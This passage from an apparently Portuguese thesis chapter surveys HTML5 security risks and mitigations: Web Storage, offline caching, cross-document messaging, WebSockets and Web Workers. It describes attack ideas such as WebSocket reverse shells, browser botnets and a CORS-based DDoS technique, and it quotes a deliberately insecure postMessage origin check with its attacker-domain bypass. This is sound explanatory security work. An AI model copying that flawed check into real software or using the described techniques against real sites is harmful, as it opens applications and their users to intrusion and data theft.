• Session Storage: Armazenamento semelhante ao Local Storage, a` excec¸a˜o
dos dados serem apagados depois do UA ou da tab serem fechados (depende
do UA). O acesso a` Session Storage dentro do mesmo domı´nio na˜o e´ poss´ıvel
entre tabs ou sesso˜es web diferentes (poss´ıvel na Local Storage).
A Indexed Database API (ver secc¸a˜o 6.2) abrange o mesmo lote de problemas
de seguranc¸a que a funcionalidade Web Storage e portanto basta abordar apenas
a Web Storage como modelo.
2A Web SQL Database tambe´m fazia inicialmente parte da especificac¸a˜o do HTML5. No en-
tanto na˜o e´ abordada neste documento devido a` sua desconsiderac¸a˜o, segundo o aviso apresentado
no site da W3C: “This document was on the W3C Recommendation track but specification work
has stopped.” [Kuppan, 2010b] . Portanto, o conceito de ameac¸as de SQL Injection que podem
afetar as Web SQL Databases na˜o e´ coberto neste documento.
56
Questo˜es de Seguranc¸a Intr´ınsecas ao HTML5
6.4.2.1 Riscos de Seguranc¸a
A principal preocupac¸a˜o com a seguranc¸a do Local Storage centra-se na falta de
conhecimento por parte do utilizador relativamente ao tipo de dados que sa˜o ar-
mazenados. O utilizador tambe´m na˜o e´ capaz de controlar o acesso aos dados
armazenados. Como o acesso e´ realizado via JS em qualquer ponto da aplicac¸a˜o, e´
o suficiente para poder executar uma Script num contexto correto para o domı´nio,
podendo aceder a todos os itens armazenados de forma transparente para o utili-
zador. Ou seja, isto permite que um atacante possa roubar informac¸o˜es via XSS,
se a aplicac¸a˜o for vulnera´vel a tal ataque.
Somente o domı´nio de origem tem permissa˜o para aceder e manipular os dados
armazenados no armazenamento local. Mas atrave´s da inserc¸a˜o de determinado
co´digo JS, um atacante pode contornar o controlo de acesso e por em risco a
integridade, confidencialidade e protec¸a˜o dos dados. Este co´digo JS malicioso
pode manipular os dados ou envia-los para domı´nios estrangeiros.
O Web Storage introduz novas ameac¸as que sa˜o descritas na seguinte lista
[W3C, 2012a; Doupe´ et al., 2010; Michael Schmidt, 2011] :
E Hijaking da Sessa˜o: Se o identificador de sessa˜o for armazenado na Local
Storage, este pode ser roubado se existir alguma vulnerabilidade associada
ao input/output da aplicac¸a˜o web (tambe´m facilita o roubo de Cookies).
E Divulgac¸a˜o de dados confidenciais: Se uma aplicac¸a˜o web armazenar
dados sens´ıveis no UA do cliente, enta˜o estes podem ser roubados ou abu-
sados pelo atacante. Deixar sites de terceiros ler dados que na˜o e´ suposto
serem lidos a partir do pro´prio domı´nio, provoca perda de informac¸a˜o.
E Rastreamento do utilizador: O Local Storage pode ser utilizado como
uma possibilidade adicional de identificac¸a˜o de um utilizador o que po˜e em
causa a protec¸a˜o da sua identidade (ver Apeˆndice B.2.2).
E Vetores de ataque persistentes: Os vetores de ataque podem ser persis-
tidos no cliente. Assim o aˆmbito de identificac¸a˜o de vulnerabilidades persis-
tidas e´ expandido para o UA e na˜o limitando ao lado do servidor. Deixar
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sites de terceiros gravar dados no armazenamento persistente de um domı´nio,
que depois sa˜o lidos por outros domı´nios, pode resultar na falsificac¸a˜o de in-
formac¸o˜es.
E Ataques de falsificac¸a˜o de DNS: Devido ha´ potencialidade destes ata-
ques, na˜o se pode garantir que um host que se alegue ser um determinado
domı´nio, seja de facto esse domı´nio.
E Recuperac¸a˜o de Cookies: Se uma aplicac¸a˜o web armazenar dados da
sessa˜o num dos recursos de armazenamento persistentes (i.e. Web Storage ou
Idexed Database) de forma independente dos dados armazenados em Cookies
de sessa˜o HTTP, os utilizadores tendem a eliminar dados de um e na˜o de
outro. Isto permite redundaˆncia para as aplicac¸o˜es web, pois podem usar
um como backup do outro, impedindo a tentativa de protec¸a˜o da privacidade
dos utilizadores.
6.4.2.2 Atenuac¸a˜o
A utilizac¸a˜o de Local Storage traz benef´ıcios, mas abre a porta aos ataques men-
cionados acima. Para evitar estes problemas os programadores devem processar
cuidadosamente o acesso aos atributos de armazenamento local. Portanto para se
utilizar o Web Storage com seguranc¸a devem ser considerados os seguintes pontos
[W3C, 2012a; Philippe De Ryck and Piessens, 2011] :
3 Utilizar Cookies em vez do Local Storage para manipular a sessa˜o. Os mes-
mos problemas existem, mas com a flag HttpOnly os Cookies podem estar
melhor protegidos. Ale´m disso o Local Storage na˜o e´ limpo apo´s a UA ser
fechado, portanto, o identificador de sessa˜o pode ser roubado caso o utiliza-
dor so´ fechar o UA e na˜o proceder ao logout ou a aplicac¸a˜o web na˜o encerrar
a sessa˜o corretamente (e.g. computador pu´blico).
3 Na˜o armazenar dados confidenciais no Local Storage. Os dados sens´ıveis so´
devem ser armazenados no servidor web e precisam ser protegidos de forma
adequada.
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3 Os UA devera˜o garantir que quando os dados sa˜o eliminados pela aplicac¸a˜o
web, tambe´m sa˜o imediatamente eliminados do armazenamento subjacente.
3 Aplicac¸o˜es web diferentes a executar no mesmo domı´nio e separadas ape-
nas pelo path na˜o devem usar Local Storage caso os dados necessitem ser
separados.
3 Para atenuar os Ataques de falsificac¸a˜o de DNS, as aplicac¸o˜es web podem
usar o TLS 3. Utilizando pa´ginas com TLS pode garantir-se que apenas o
utilizador certo pode aceder a`s suas a´reas de armazenamento. Na˜o esquecer
a identificac¸a˜o de outras pa´ginas usando TLS com certificados, como sendo
do mesmo domı´nio. Assim, o Software do utilizador trabalha somente em
nome dele.
3 E´ importante que os UAs sigam estritamente o modelo de origem descrito
na especificac¸a˜o Web Storage do HTML5.
Mesmo assim, as ameac¸as de Rastreamento do Utilizador e Vetores de Ataque
Persistentes permanecem e na˜o podem ser evitadas atrave´s de uma implementac¸a˜o
segura do lado do servidor.
6.4.3 Oﬄine Web Application
Anteriormente ao HTML5 a execuc¸a˜o de aplicac¸o˜es web oﬄine era dif´ıcil e apre-
sentava limitac¸o˜es, pois requeria a realizac¸a˜o de trabalhos adicionais e complexos,
maioritariamente add-ons para o UA, que o utilizador tinha de instalar. Com o
HTML5 e´ introduzido o conceito de aplicac¸o˜es web oﬄine. Basta que as aplicac¸o˜es
web enviem os ficheiros necessa´rios para trabalhar em modo oﬄine, para o UA.
Assim, quando a aplicac¸a˜o for carregada o UA reconhece o modo oﬄine e carrega
os dados da cache.
Para informar o UA que deve armazenar alguns ficheiros para uso oﬄine, e´
utilizado o novo atributo manifest na tag <html>:
3O Transport Layer Security (TLS) e o seu predecessor, Secure Sockets Layer (SSL), sa˜o
protocolos criptogra´ficos que fornecem a seguranc¸a da comunicac¸a˜o atrave´s da Internet [Labs,
2008] .
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Figura 6.4: Co´digo necessa´rio para indicar o funcionamento da aplicac¸a˜o web
em modo oﬄine.
O atributo manifest refere o nome do ficheiro manifest que define quais os
recursos que devem ser armazenados para uso oﬄine, nomeadamente ficheiros
HTML e CSS. O ficheiro manifest apresenta va´rias secc¸o˜es que definem a lista
de ficheiros; que devem ser armazenados em cache e armazenados oﬄine, que
nunca devem ser armazenados em cache e quais devem ser carregados em caso
de erro. O ficheiro manifest pode ser renomeado e estar localizado em qualquer
lugar no servidor. As u´nicas restric¸o˜es subjacentes sa˜o a necessidade de terminar
em .manifest e de ser retornado pelo servidor com o tipo de conteu´do text/cache-
manifest. Se na˜o de outra forma o UA na˜o usa o conteu´do do ficheiro para cache
de aplicac¸o˜es web. Mais detalhes e um exemplo do ficheiro pode ser encontrado
no Apeˆndice A.2 [Michael Schmidt, 2011; Philippe De Ryck and Piessens, 2011;
McArdle, 2011] .
6.4.3.1 Riscos de Seguranc¸a
Anteriormente as deciso˜es de controlo de acesso a dados e func¸o˜es eram apenas
efetuadas do lado do servidor. Devido a` introduc¸a˜o de aplicac¸o˜es web oﬄine, o
HTML5 tambe´m moveu essas deciso˜es para o UA. Assim, a superf´ıcie de ataque
de aplicac¸o˜es web aumenta, na˜o se limitando ao lado do servido. Um ataque a
aplicac¸o˜es web oﬄine do lado do cliente e´ agora poss´ıvel, e portando, a protec¸a˜o
unicamente no servido na˜o e´ suficiente, tendo que se expandir para o lado do
cliente.
O envenenamento da cache (atrave´s dos ficheiros JS e outros recursos) ja´ era
um problema existente no HMTL4. No entanto, com esta nova funcionalidade, os
ataques de envenenamento de cache que haviam sido limitados, tornam-se mais
poderosos. As seguintes ameac¸as de falsificac¸a˜o de dados da cache sa˜o agravadas
com o HTML5 [Michael Schmidt, 2011; Philippe De Ryck and Piessens, 2011] :
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E Envenenamento da cache: E´ poss´ıvel armazenar em cache a diretoria de
raiz de uma aplicac¸a˜o web, assim como, pa´ginas HTTP e HTTPS.
E Vetores de ataque persistentes: Os dados presentes na cache do UA
referentes a uma aplicac¸a˜o web oﬄine permanecem no UA ate´ que seja envi-
ada uma atualizac¸a˜o por parte do servidor, ou sejam exclu´ıdos manualmente
pelo utilizador. Entretanto, como esta atualizac¸a˜o na˜o ocorre para dados
falsificados, e´ poss´ıvel persistir dados maliciosos na cache do UA.
E Rastreamento do utilizador: As aplicac¸o˜es web oﬄine podem rastrear e
correlacionar um utilizador, atrave´s do armazenamento de ficheiros em cache
com identificadores u´nicos.
Os diversos UAs diferem no seu comportamento quanto a` eliminac¸a˜o da cache
das aplicac¸o˜es web oﬄine, caso o histo´rico seja eliminado (ver Apeˆndice A.2.2.).
6.4.3.2 Atenuac¸a˜o
A forma de contornar este problema centra-se em:
3 Treinar os utilizadores a limpar a cache do UA sempre que visitarem a Inter-
net atrave´s de uma rede na˜o segura, antes de decidirem aceder a uma pa´gina
onde sa˜o transmitidos dados sens´ıveis.
3 O utilizador precisa de aprender a compreender o significado dos avisos de
seguranc¸a, e a aceitar apenas aplicac¸o˜es web oﬄine de s´ıtios confia´veis.
As ameac¸as Vetores de ataque persistentes e de Envenenamento de cache na˜o
podem ser evitadas pelo provedor de aplicac¸o˜es web.
6.4.4 Web Messaging
E´ comum as aplicac¸o˜es web utilizarem gadgets provenientes de terceiros no seu
conteu´do. Estes correspondem a mini aplicac¸o˜es JS com funcionalidades espec´ıficas
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(e.g. condic¸o˜es meteorolo´gicas, jogos, calenda´rio, noticias, etc.). O Google dispo-
nibiliza milhares destes recursos, tal como por exemplo o apresentado na figura
6.5.
Figura 6.5: Co´digo JS correspondente a um gadget de meteorologia.
No caso do HTML4 so´ existem dois me´todos de inclusa˜o de gadgets nas aplicac¸o˜es
web (podendo surgir problemas com a sua utilizac¸a˜o), nomeadamente:
1. Incluir os gadgets na aplicac¸a˜o utilizando Iframes, o que e´ seguro mas isolado;
2. Utilizar o co´digo JS embebido diretamente no co´digo da aplicac¸a˜o web, o
que e´ poderoso mas inseguro.
Consequeˆncias dos me´todos:
1. Uma aplicac¸a˜o web com o domı´nio A na˜o pode aceder aos elementos do
DOM provenientes de um domı´nio B embebido numa Iframe e vice-versa.
Caso seja necessa´rio inserir os mesmos dados tanto na aplicac¸a˜o como na
Iframe, esta abordagem na˜o e´ amiga do utilizador.
2. Como o JS proveniente de fontes externas e´ executado de forma embebida
no contexto do domı´nio, dete´m o acesso completo ao DOM da aplicac¸a˜o,
incluindo quaisquer dados introduzidos. Este me´todo e´ mais amigo do uti-
lizador mas consequentemente mais perigoso. Por isso, os provedores da
aplicac¸a˜o precisam confiar na fonte JS externa inclu´ıda na aplicac¸a˜o. Caso
contra´rio todos os dados inseridos tambe´m podem ser acedidos pela Script
externa. Portanto, deve ser sempre realizada uma verificac¸a˜o da Script a`
procura de falhas de seguranc¸a. Contudo como o seu conteu´do pode ser
modificado intencional ou deliberadamente a qualquer momento, existe um
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risco associado pois e´ complexo verificar a Script para cada solicitac¸a˜o do
UA.
Com a introduc¸a˜o da nova funcionalidade Web Messaging por parte do HTML5,
surge uma nova forma para resolver o problema de comunicac¸a˜o acima mencio-
nado. Este recurso permite que os documentos DOM de diferentes domı´nios pos-
sam comunicar uns com os outros, tal como o ilustrado na Figura 6.6. Ou seja,
torna poss´ıvel a comunicac¸a˜o entre uma aplicac¸a˜o e um domı´nio embebido numa
Iframe. Isto tra´s melhorias de seguranc¸a significativas quanto a` problema´tica de
comunicac¸a˜o entre domı´nios.
Figura 6.6: Comunicac¸a˜o via Cross-Document Messaging.
Para ale´m do me´todo Web Messaging apresentado anteriormente como soluc¸a˜o
ao problema de comunicac¸a˜o entre diferentes domı´nios (designado Cross-document
messaging), existe um outro me´todo (designado Channel messaging) que tambe´m
possibilita que diferentes pec¸as de co´digo JS a correr em diferentes contextos de
navegac¸a˜o possam comunicar diretamente entre si [McArdle, 2011] . No entanto,
como ambos abrangem questo˜es de seguranc¸a semelhantes, apenas os riscos de
seguranc¸a do me´todo Cross-document messaging sa˜o cobertos nesta secc¸a˜o.
6.4.4.1 Riscos de Seguranc¸a
Apesar do HTML5 trazer melhorias significativas de seguranc¸a quanto a` integrac¸a˜o
de fontes externas numa aplicac¸a˜o, tambe´m introduz novas questo˜es de seguranc¸a.
O problema surge, porque o conteu´do das aplicac¸o˜es web na˜o esta mais limitado
63
Questo˜es de Seguranc¸a Intr´ınsecas ao HTML5
ao conteu´do retornado pelo domı´nio de origem, e portanto, o servidor na˜o pode
controlar os dados enviados e recebidos entre as suas pa´ginas web. O facto do Web
Messaging possibilitar a recec¸a˜o de dados provenientes de outros domı´nios sem o
servidor estar envolvido, origina uma mudanc¸a do ambiente do problema (descrito
na secc¸a˜o 6.4.4) para o UA. Isto porque os dados sa˜o trocados dentro do UA entre
Iframes, podendo ser enviado conteu´do malicioso diretamente de uma Iframe para
outra, sendo ignorada a validac¸a˜o dos dados do lado do servidor [Michael Schmidt,
2011] .
O problema de seguranc¸a descrito na secc¸a˜o 6.4.4.1 resulta nos seguintes riscos
[Michael Schmidt, 2011; Philippe De Ryck and Piessens, 2011] :
E Divulgac¸a˜o de dados confidenciais: Um ataque de XSS pode recorrer a
Iframes para enviar dados confidenciais indevidamente. No caso da Figura
6.6, se o domı´nio A for comprometido, atrave´s da injec¸a˜o de uma script
que adiciona outro event handler para coleta de mensagens, esta passa a
pertencer ao mesmo domı´nio, e passa a ser poss´ıvel receber tudo o que o
postMessage do domı´nio B enviar (o postMessage para o domı´nio B tambe´m
e´ poss´ıvel). O JS tambe´m pode ser utilizado para procurar a Iframe, remover
qualquer tags sandbox, a fim de considera´-la como sendo da mesma origem,
para obter o seu conteu´do, e executar qualquer coisa nessa origem.
E Expansa˜o da superf´ıcie de ataque para o UA: Na comunicac¸a˜o entre
diferentes Iframes, se o recetor do conteu´do na˜o verificar a origem ou mani-
pular diretamente os dados inseguros sem validac¸a˜o, corre o risco de sofrer
um ataque.
Apesar de uma aplicac¸a˜o web na˜o ser vulnera´vel, um atacante pode sempre
explorar uma poss´ıvel vulnerabilidade de XSS no gadget. Por outro lado o for-
necedor do gadget tambe´m pode ser o atacante. Portanto, isso permite a um
atacante passar co´digo JS para a aplicac¸a˜o e executar qualquer co´digo JS no con-
texto da aplicac¸a˜o. Tal como inserir algum co´digo JS que escute as mensagens
Cross-Document Messaging enviadas entre Iframes (caso, o alvo esteja definido
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como *) e roube as informac¸o˜es confidenciais trocadas entre eles [Michael Sch-
midt, 2011] .
6.4.4.2 Atenuac¸a˜o
Para atenuar os riscos de seguranc¸a apresentados na secc¸a˜o 6.4.4.1, na˜o e´ suficiente
considerar apenas a validac¸a˜o de dados no lado do servidor, os dados recebidos
tambe´m precisam ser validados do lado do cliente. Para utilizar o Cross-Document
Messaging de forma segura, devem ser seguidos os seguintes pontos [Michael Sch-
midt, 2011; OWASP, 2012a] :
3 O alvo na func¸a˜o postMessage () deve ser definido de forma expl´ıcita e na˜o
definido como * para evitar que dados sens´ıveis sejam enviados para uma
iframe errada.
3 A pa´gina receptora da mensagem deve sempre:
r Verificar se a origem coincide exatamente com o FQDN(s) 4 esperado(s),
a fim de verificar se os dados sa˜o origina´rios do local esperado (e.g.
e.origin == “http://html5vuln.org”). Note-se por exemplo que o se-
guinte co´digo: if (! message.orgin.indexOf (“.html5vuln.org”) = -1) /
* ... * / e´ muito inseguro e na˜o possuira´ o comportamento desejado,
pois atrave´s de www.html5vuln.org.attacker.com esse co´digo pode ser
ignorado.
r Realizar uma validac¸a˜o de Input no atributo de dados do evento, para
garantir que se encontra no formato desejado.
3 Na˜o assumir que possui o controlo total sobre os atributos de dados. Pois
atrave´s da inclusa˜o de um XSS na pa´gina enviada, um atacante tem a pos-
sibilidade de enviar mensagens em qualquer formato.
3 A mensagem recebida deve ser validada (i.e. interpretar as mensagens tro-
cadas como dados) e nunca avaliar as mensagens passadas como co´digo
atrave´s de eval(), nem inseri-las diretamente no DOM da pa´gina atrave´s
4O Fully Qualified Domain Name (FQDN) corresponde ao nome do domı´nio.
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de innerHTML, pois podem criar uma vulnerabilidade de XSS baseado no
DOM.
3 Para atribuir o valor de dados a um elemento, utilizar a opc¸a˜o mais se-
gura como element.textContent = dados, em vez do me´todo inseguro ele-
ment.innerHTML = dados;
Como soluc¸a˜o alternativa caso pretenda incluir conteu´do externo/gadgets na˜o
confia´veis, o que e´ altamente desaconselha´vel, considere carregar as informac¸o˜es
sobre iFrames em modo seguro (i.e. sandboxex iFrames) ou usar um sanitiser
como o Caja [Inc., 2011] .
6.4.5 Custom Scheme and Content Handlers
Atrave´s do HTML5 e´ poss´ıvel definir esquemas personalizados e handlers de
conteu´do. Isto e´, permite registar handlers de protocolos personalizados (e.g.
fax, e-mail ou SMS) e handlers de conteu´do (e.g. text/directory ou applica-
tion/rss+xml). Uma vez registados no UA atrave´s da interac¸a˜o do utilizador,
quando um utilizador clicar num link associado a um desses handlers registados, e´
estabelecida uma conexa˜o para a aplicac¸a˜o referenciada no handler. Por exemplo,
se for registado um handler para o servic¸o Gmail, enta˜o quando o utilizador clicar
no link ”mailto:”, o UA vai abrir uma pa´gina web para a composic¸a˜o do email, em
vez do utilizador ter de abrir a aplicac¸a˜o de email nativa no desktop (ver Secc¸a˜o
7.3.4).
6.4.5.1 Riscos de Seguranc¸a
A introduc¸a˜o destas novas funcionalidades traduz-se num aumento da superf´ıcie
de ataque contra o UA. Isto e´, a protec¸a˜o contra poss´ıveis ataques na˜o pode estar
a cargo do provedor de aplicac¸o˜es web, nem pode ser disponibilizada pelo mesmo,
porque os ataques apenas afetam o lado do cliente. Portanto, o problema surge
quando um atacante e´ capaz de registar um domı´nio malicioso atrave´s de um
destes handlers, estando apto para poder enviar dados sens´ıveis para o respetivo
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domı´nio, o qual para ale´m de poder roubar os dados pode ainda manipula´-los antes
de envia-los.
Portanto, esta capacidade de registo de handlers por parte das aplicac¸o˜es web
pode levar ao registo de aplicac¸o˜es maliciosas nos UAs que enganam os utilizadores,
resultando em va´rias ameac¸as [Michael Schmidt, 2011; Philippe De Ryck and
Piessens, 2011] :
E Divulgac¸a˜o de dados confidenciais: O utilizador pode registar uma
aplicac¸a˜o web maliciosa como um handler do protocolo e-mail intencional-
mente. Desta forma o envio de e-mails atrave´s da aplicac¸a˜o origina o acesso
ao seu conteu´do pelo atacante.
E Rastreamento do utilizador: Pode ser inclu´ıdo um identificador u´nico
aquando do registo do tipo de protocolo ou conteu´do, que pode ser utili-
zado para rastrear o utilizador em cada solicitac¸a˜o do tipo de protocolo ou
conteu´do registado.
E Spamming: O registo de muitos tipos de handlers de protocolos e conteu´do
pode ser abusado por spammers, para poderem incluir o seu conteu´do antes
de disponibilizarem ou processarem o conteu´do real.
6.4.5.2 Atenuac¸a˜o
Nenhuma das ameac¸as apresentadas na secc¸a˜o 6.4.5.1 podem ser evitadas atrave´s
de uma implementac¸a˜o segura nos servidores das aplicac¸o˜es web. Estas ameac¸as
afetam o UA e os utilizadores finais precisa˜o ser treinados para na˜o registar
domı´nios maliciosos como esquemas personalizados ou handlers de conteu´do [Phi-
lippe De Ryck and Piessens, 2011] .
6.4.6 Web Sockets
Os Web Sockets permitem uma comunicac¸a˜o bidirecional entre o cliente que exe-
cuta co´digo na˜o confia´vel (num ambiente controlado) e um host remoto que se
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encontra apto para comunicar com esse co´digo. Esta comunicac¸a˜o permite uma
transmissa˜o de dados simultaˆnea em ambos os sentidos, recorrendo apenas a um
u´nico socket. Os Web Sockets HTML5 na˜o correspondem a mais um recurso
adicional para comunicac¸o˜es HTTP. Estes representam um avanc¸o colossal espe-
cialmente para aplicac¸o˜es web em tempo real, baseadas em eventos. Esta funcio-
nalidade difere do AJAX, o qual necessita de duas conexo˜es, uma para realizar o
pedido e a segunda destinada ao jusante para emitir a resposta. As conexo˜es Web
Socket tambe´m podem ser estabelecidas atrave´s de diferentes domı´nios, tal como
o CORS.
Enquanto que os pedidos AJAX tradicionais originam uma sobrecarga signifi-
cativa, devido a` transmissa˜o completa dos cabec¸alhos HTTP em cada pedido ou
resposta, uma conexa˜o Web Socket, uma vez estabelecida apenas acarreta uma
sobrecarga de dois bytes [Michael Schmidt, 2011] . Com a introduc¸a˜o dos Web
Sockets pelo HTML5, surge uma melhoria dra´stica quanto aos antigos hacks, que
pretendiam simular uma conexa˜o bidirecional ate´ ao UA, e que levou Ian Hickson,
da Google, a dizer:
”Reducing kilobytes of data to 2 bytes. . . and reducing latency from 150ms to
50ms is far more than marginal. In fact, these two factors alone are enough to
make Web Sockets seriously interesting to Google.” [ref, 2012]
Isto e´, a reduc¸a˜o da lateˆncia e dos dados em comunicac¸o˜es proporcionadas pelos
Web Sockets colmata o risco e o facilitismo que pode surgir do uso destas funcio-
nalidades para fins maliciosos. Neste contexto, o modelo de seguranc¸a subjacente
a` funcionalidade esta´ limitado apenas ao modelo de seguranc¸a normalmente utili-
zado pelos UAs.
6.4.6.1 Riscos de Seguranc¸a
As questo˜es de seguranc¸a associadas aos Web Sockets sa˜o semelhantes a`s do CORS.
Descrevem o mesmo problema da possibilidade de poder ser estabelecida uma
conexa˜o Web Socket atrave´s de diferentes domı´nios sem a permissa˜o do utilizador
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e o envio de pedidos sem que o utilizador seja notificado. Um atacante apenas
necessita conseguir executar determinado co´digo JS no UA da v´ıtima que permita
uma conexa˜o Web Scoket para um alvo arbitra´rio. Desta forma a conexa˜o pode
ser abusada pelo atacante para troca de dados entre o UA e o atacante.
O facto de nem todas as web proxies compreenderem o protocolo Web Socket
corretamente, tambe´m possibilita que um atacante possa levar uma web proxy a
armazenar dados manipulados em cache.
A questa˜o de seguranc¸a de validac¸a˜o de dados provenientes de origens estran-
geiras e´ uma preocupac¸a˜o na˜o so´ do CORS e do Web Messaging mas tambe´m da
Web Socket API (e e´ coberta apenas uma vez na secc¸a˜o 6.4.4.1).
Estes problemas da seguranc¸a resultam nos seguintes riscos [Michael Schmidt,
2011; Philippe De Ryck and Piessens, 2011; McArdle, 2011] :
E Shell remota: Os Web Sockets permitem o estabelecimento de uma Shell
remota entre o servidor e o UA. Esta conexa˜o permanece aberta ate´ que o
UA seja fechado (ver Apeˆndice B.3.1).
E Botnets baseados na web: Os Web Sockets permitem ao servidor o esta-
belecimento de Shells remotas para muitos UAs ao mesmo tempo. O servidor
pode usar essas Shells remotas para construir um Botnet baseado na web
(ver Apeˆndice B.3.2).
E Envenenamento da cache: Devido ao facto do protocolo Web Scoket na˜o
ser interpreta´vel em alguns casos, a cache de algumas proxies web pode ser
envenenada.
E Scanning de portas: O browser da v´ıtima pode ser abusado para scanning
de portas de uma rede interna (ver Apeˆndice B.3.3).
6.4.6.2 Atenuac¸a˜o
So´ e´ poss´ıvel aplicar medidas de atenuac¸a˜o contra a ameac¸a de Envenenamento de cache
[Michael Schmidt, 2011; OWASP, 2012a] :
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3 Os proxies web precisam ser atualizados para entender corretamente o pro-
tocolo Web Socket.
3 A cache de recursos na˜o deve ser baseada apenas no valor do cabec¸alho
HTTP do host.
3 A correspondeˆncia do IP com o nome do host deve ser sempre considerada.
3 A versa˜o recomendada e´ a RFC 6455 e e´ suportada pelos browsers (Firefox
11+, Chrome 16+, Safari 6, Opera 12.50, e IE10).
3 O protocolo na˜o gere a autorizac¸a˜o nem autenticac¸a˜o, e portanto a trans-
fereˆncia de dados confidenciais deve ser gerida por protocolos ao n´ıvel da
aplicac¸a˜o.
3 Processar as mensagens recebidas pelo Web Socket como dados, e nunca
tentar atribui-los ao DOM nem avalia´-los como co´digo. Nunca utilizar a
func¸a˜o insegura eval() para processar as respostas JSON. Utilizar antes a
opc¸a˜o JSON.parse().
3 Deve ser utilizado o wss:// (WebSockets sobre SSL/TLS) para protec¸a˜o
contra ataques Man-In-The-Middle. Pois o protocolo ws:// e´ facilmente
revers´ıvel para texto.
3 Validar sempre os dados que chegam atrave´s de uma conexa˜o Web Socket.
As restantes ameac¸as Shell remota, Botnet baseado na web e Scanning de portas
na˜o podem ser contornadas atrave´s de uma implementac¸a˜o segura do lado do servi-
dor. So´ podem ser evitadas com soluc¸o˜es complexas, como desativar manualmente
o suporte para Web Sockets no UA.
6.5 Outras Caracter´ısticas de Seguranc¸a do HTML5
Esta secc¸a˜o aborda os pontos do HTML5 que na˜o tem um impacto direto na
seguranc¸a, mas que em combinac¸a˜o com outras funcionalidades do HTML5, podem
ser usados para lanc¸ar ou simplificar ataques a aplicac¸o˜es web.
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6.5.1 Web Workers
Previamente a` existeˆncia dos Web Workers o uso de JS para processamento de
trabalhos demorados na˜o era via´vel, porque era mais lento do que o co´digo nativo
e os browsers congelavam ate´ que o processamento fosse conclu´ıdo. Agora atrave´s
do recurso aos Web Workers e´ poss´ıvel que o JS possa funcionar em background
[W3C, 2011] . Esta funcionalidade do HTML5 tem algumas semelhanc¸as com
as Threads, como sa˜o conhecidas a partir de outras linguagens de programac¸a˜o.
Com os Web Workers e´ poss´ıvel executar algum trabalho de processamento atrave´s
do JS, assim como atualizar os dados ou aceder a recursos de rede, enquanto o
website se encontra a responder aos pedidos do utilizador. Os Web Workers na˜o
introduzem novas vulnerabilidades mas auxiliam a explorac¸a˜o de vulnerabilidades
de forma mais fa´cil. Como por exemplo, torna a implementac¸a˜o da Web Socket
reverse Shell ou Botnets mais facilitada e menos prova´vel de ser detetada pelo
utilizador [Michael Schmidt, 2011] .
De seguida descrevem-se dois poss´ıveis ataques que demostram as capacidades
dos Web Workers:
E Ataques DDoS com CORS e Web Workers: O envio de muitos pe-
didos CORS para a mesma URL, na˜o e´ poss´ıvel pois caso o servidor web
na˜o inclua o cabec¸alho Access-Control-Allow-Origin na resposta, o brow-
ser na˜o vai enviar todos os pedidos posteriores para essa URL. Mas isto
pode ser contornado atrave´s da combinac¸a˜o do CORS com os Web Wor-
kers. Para isso basta que todos os pedidos CORS sejam u´nicos. Atrave´s
da inserc¸a˜o de uma string u´nica e aleato´ria na URL, que muda em todos
os pedidos. Usando esta te´cnica, e´ poss´ıvel enviar atrave´s de um browser
cerca de 10.000 pedidos/seg para o servidor. Agora direcionando este ataque
para websites frequentemente visitados, podem ter efeitos secunda´rios inde-
seja´veis para esses domı´nios, sendo v´ıtimas de um ataque DDoS [Lubbers,
2010; Michael Schmidt, 2011] .
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E Divulgac¸a˜o de dados confidenciais com Web Messaging e Web Wor-
kers: Os Web Workers ajudam na distribuic¸a˜o de carga mas quando com-
binados com Web Messaging podem ser perigosos. As aplicac¸o˜es Web 2.0
executam num u´nico DOM, portanto, se a aplicac¸a˜o for vulnera´vel a XSS
baseados no DOM, enta˜o e´ poss´ıvel injetar uma Thread invis´ıvel em back-
ground, que permite a um atacante controlar todas as atividades em curso
nesse DOM. Se o DOM hospedar Widgets e outros componentes, o ata-
cante pode comec¸ar a obter informac¸o˜es u´teis. Imagine um cena´rio onde o
WebWorker se encontra a observar o nome de utilizador e palavra-chave num
dos widgets. Mal um utilizador insira o nome de utilizador e a senha, esta
informac¸a˜o pode ser recolhida [Tor, 2011] .
6.5.2 Novos elementos, atributos e CSS
A introduc¸a˜o de novos elementos e atributos no HTML5 leva a que os ataques de
XSS ganhem um novo potencial. Isso significa que as aplicac¸o˜es web que ate´ ao
momento na˜o eram vulnera´veis a ataques XSS possam vir a ser, devido a` existeˆncia
desses novos elementos e atributos. Isto porque os filtros de XSS utilizados pelas
aplicac¸o˜es podem estar desatualizados e portanto como as novas tags na˜o sa˜o
conhecidas, podem ser ultrapassados.
O HTML5 possui algumas tags interessantes, que podem ser usadas tanto para
ataques XSS como CSRF. Por sua vez as tags tambe´m teˆm alguns atributos in-
teressantes, como poster, onerror formaction, oninput, etc, os quais permitem a
execuc¸a˜o de JS. Por isso e´ preciso ter cuidado com o recarregamento dinaˆmico
das pa´ginas web e com a implementac¸a˜o destas novas tags e funcionalidades. Tal
como foi referido as WAFs tambe´m precisam ser reconfiguradas, para prevenir os
ataques XSS persistentes e refletidos derivados destas tags [Tor, 2011] .
A seguir encontram-se alguns desses elementos, que podem se utilizados para
construir alguns dos vetores de ataque apresentados na Figura 6.7:
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â Tags - media (audio/video), canvas (getImageData), menu, embed, but-
tons/commands, Form control (keys), ;
â Atributos - form, submit, autofocus, sandbox, manifest, rel, formaction,
atributos de eventos (onforminput, onformchange, onmouseover, onclick),
etc;
â Eventos/Objetos - Navigation ( self), Editable content, Drag-Drop APIs,
pushState (History) etc.
Figura 6.7: Exemplos de vetores de ataque XSS que recorrem aos novos ele-
mentos e atributos HTML5.
A nova versa˜o das Cascading Style Sheets (CSS) tambe´m oferece novas possi-
bilidades de ataque. Pois e´ poss´ıvel injetar co´digo JS num atributo style, assim
como, novas possibilidades para influenciar a apareˆncia do website (e.g. abre novas
possibilidades para os ataques de clickjacking).
Existem muitas outras variantes de ataques XSS baseados nestes novos elemen-
tos e atributos, e que podem ser consultados no site “HTML5 Security Cheatsheet”
de Mario Heiderrich’s em [W3C, 2012b] .
6.5.3 Iframe Sandboxing
O HTML5 introduz uma nova caracter´ıstica para as Iframes designada de sand-
boxing [Kuppan, 2010c] . Esta caracter´ıstica pode ser usada para limitar os pri-
vile´gios do conteu´do carregado na Iframe, como por exemplo, proibir a execuc¸a˜o
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de JS ou janelas de Pop-Up. Para ale´m disso e´ poss´ıvel reatribuir alguns pri-
vile´gios, tais como “allow-same-origin”, “allow-top-navigation”, “allow-forms” e
“allowscripts” (para mais informac¸o˜es sobre o atributo sandbox ver Apeˆndice A.3)
